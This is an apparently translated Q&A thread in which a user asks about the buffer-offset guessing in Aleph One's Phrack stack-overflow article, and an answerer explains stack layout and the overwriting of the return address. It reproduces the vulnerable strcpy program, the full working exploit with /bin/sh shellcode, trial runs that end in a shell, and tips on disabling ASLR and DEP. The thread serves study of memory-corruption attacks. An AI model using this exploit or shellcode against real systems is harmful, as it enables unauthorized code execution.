Можете ли вы объяснить метод нахождения смещения буфера при поиске потенциала переполнения буфера?

Я просматриваю статью Алефа в журнале Phrack. Приведенный ниже код также можно найти там.

У нас есть уязвимый исполняемый файл, код которого:

уязвимый.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}

Теперь, поскольку мы действительно не знаем, когда пытаемся атаковать этот исполняемый файл (путем переполнения buffer), каков адрес buffer. Нам нужно знать его адрес, потому что мы хотим переопределить ret, чтобы он указывал на начало buffer (в которое мы поместили наш шелл-код).

Процедура угадывания, которая описана в статье, выглядит следующим образом:

Мы можем создать программу, которая принимает в качестве параметра размер буфера и смещение от своего собственного указателя стека (где, как мы полагаем, буфер, который мы хотим переполнить, может жить). Мы поместим строку переполнения в переменную среды, чтобы ею было легко манипулировать:

exploit2.c

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] = //this shellcode merely opens a shell
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}

Теперь мы можем попытаться угадать, какими должны быть буфер и смещение:

[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$

Я не понимаю, что автор хотел представить, в explot2.c мы угадываем размер буфера в vulnerable.c и его смещение от указателя стека.

  • Почему мы применяем это смещение к указателю стека exploit2?
  • Как это влияет на vulnerable?
  • Какова цель exploit2.c, кроме создания переменной окружения EGG?
  • Почему мы называем system("/bin/bash"); в конце?
  • Что вообще происходит между vulnerable и exploit2?

person Bush    schedule 06.12.2015    source источник


Ответы (1)


Единственной целью exploit2 является создание переменной egg, которую необходимо передать в качестве параметра в vulnerable. Его можно изменить так, чтобы он вызывал vulnerable самостоятельно.

Переменная shellcode содержит машинный код функции, которая вызывает оболочку. Цель состоит в том, чтобы скопировать этот код в переменную buffer из vulnerable, а затем перезаписать адрес возврата функции main из vulnerable, чтобы он указывал на точку входа шелл-кода, то есть адрес переменной buffer. Стек растет вниз: регистр указателя стека (esp в 32-битной архитектуре x86) содержит наименьший адрес, используемый локальными переменными текущей функции, по более высоким адресам мы находим другие локальные переменные, затем адрес возврата выполняемой в данный момент функции, затем переменные вызываемого объекта и так далее. Запись переполнения для переменной, такой как buffer в vulnerable, перезапишет все, что следует за buffer в памяти, в данном случае адрес возврата main, поскольку buffer является локальной переменной функции main.

Теперь, когда мы знаем, что делать, нам нужна информация:

  • адрес переменной buffer, назовем ее bp
  • адрес обратного адреса функции main, назовем его ra

Если бы у нас была эта информация, мы могли бы подделать строку эксплойта EGG так, чтобы:

  • его длина равна ra - bp + sizeof(void*), чтобы переполнить строку buffer, достаточную для перезаписи адреса возврата (sizeof (void* — размер адреса возврата)
  • он содержит код эксплойта, который должен быть выполнен в начале, и адрес bp в конце

Обратите внимание, что нам нужно только приблизительное предположение о длине строки, потому что мы можем просто сделать строку длиннее и продолжать повторять адрес bp повсюду, но нам нужно вычислить точный адрес bp, если мы хотим, чтобы шелл-код выполнялся правильно. .

Мы начинаем с угадывания длины строки, необходимой для перезаписи возвращаемого значения: 600 достаточно, потому что это вызывает ошибку Illegal instruction. Как только мы его найдем, мы можем искать адрес bp.

Мы знаем, что bp находится в самом низу стека, потому что там хранятся локальные переменные. Считаем, что адреса для стека одинаковые в vulnerable и exploit2, меряем адрес стека в exploit2 и начинаем ковыряться меняя offset. Как только мы получим правильное смещение (которое приведет к тому, что addr будет равно целевому bp), код оболочки будет выполнен, когда поток управления вернется из функции main vulnerable.

Если вы хотите протестировать этот код, помните, что он не работает на современных машинах из-за технологии предотвращения выполнения, которая используется операционной системой для пометки страниц, содержащих данные, как неисполняемых.

person pqnet    schedule 06.12.2015
comment
1. Я могу проверить это, открыв оболочку с setarch 'uname -m' -R /bin/bash, чтобы отключить ASLR, и сделав сегмент данных уязвимого исполняемого файла, чтобы отключить DEP (есть инструменты для его включения). 2. Вы хоть представляете, для чего нужна последняя строка system("/bin/bash");? зачем нам запускать уязвимые места в оболочке, открытой эксплойтом? - person Bush; 06.12.2015
comment
2. Это связано с тем, что putenv изменяет среду текущего процесса и дочерних процессов (в данном случае тот, который открыт system), поэтому вам нужно запустить vulnerable там, чтобы определить переменную EGG. Вы также можете exploit напечатать строку и скопировать ее вручную, но вам придется позаботиться об экранировании - person pqnet; 06.12.2015
comment
4. Эта атака предполагает, что ASLR НЕ развернут. Актуальна ли эта процедура угадывания, когда vulnerable работает на моей машине? (Я думаю, что нет, так как в этом случае я мог бы отладить его и точно увидеть, какой адрес у buffer). Каков сценарий? может быть, я пользователь (не админ) на машине, на которой vulnerable работает под админом? или, может быть, я пытаюсь атаковать процесс на сервере? - person Bush; 06.12.2015
comment
Как вы догадываетесь, ASLR усложнит угадывание адреса стека, поскольку он специально разработан для того, чтобы усложнить подобные атаки. В сценарии, где вы можете дизассемблировать двоичный файл vulnerable, вы можете получить лучшее предположение об адресе в стеке, чем если бы вы предположили, что это то же самое, что и ваша программа. Когда двоичный файл недоступен (например, удаленная служба), угадывание — ваш единственный вариант. - person pqnet; 06.12.2015
comment
Имейте в виду, что хотя в этом примере входная строка поступает из командной строки, теоретически она может быть получена из любого ввода, например readln на стандартном вводе или строки запроса на веб-сервере. - person pqnet; 06.12.2015